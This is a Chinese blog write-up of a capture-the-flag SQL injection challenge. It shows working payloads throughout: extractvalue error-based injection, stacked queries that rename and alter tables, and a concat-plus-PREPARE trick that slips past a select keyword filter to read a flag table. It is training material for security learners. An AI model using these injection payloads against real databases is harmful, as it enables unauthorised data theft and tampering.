BUUCTF-[强网杯 2019]随便注

0x00:写在前面

这道题目让我在mysql语法上学到不少东西

还有骚思路,确实打ctf需要脑子反应快,骚主意多

0x01:解题思路

打开题目很简单的一个查询框

 

 输入1'报错

 

1'-- -不报错

1' order by 2-- -字段两个

然后union select查询时报错如下

 

 显而易见,做了过滤。是preg_match的检测,常规的双写 大小写啥的都不行

这里可以使用报错注入:?inject=1' and extractvalue(1, concat(0x5c, (database())));-- -

 

 得知数据库名字为supersqli(其实不知道数据库名字也可以)

因为接下来的爆表操作仍然需要用到select 所以放弃

尝试堆叠查询

1';show tables;-- -

这里爆出两个表,191开头这个表一看就很有嫌疑,尝试读取

1';show columns from 1919810931114514-- -

上面读取信息失败,1';show columns from `1919810931114514`-- -

经过查询资料得知,`在mysql里用处是 将一些可能被识别为mysql内置函数的字符串进行处理,变为用户控制的字符串,代表mysql中的转义字符

读出数据如下

 

 上面诱人的flag,再进行words表读取。

 

接下来就是围绕着读取flag来进行了

这里有两个方法:

0x02:两种解法

第一种:比较骚的思路,让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。

把默认的words改为ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改为words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一个字段id
ALTER TABLE words ADD id int(10) DEFAULT '1';
修改words里面flag为data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上语句进行堆叠:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- -
还有种语句格式:
把默认的words改为ww
rename table words to ww;
下面就都一样

 

第二种:利用concat拼接,这个是mysql的语法知识~学到了

-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

这里set为变量赋值

PREPARE设置sql查询语法

EXECUTE 执行函数

 

posted @ 2020-04-21 16:39  Tkitn  阅读(541)  评论(0编辑  收藏  举报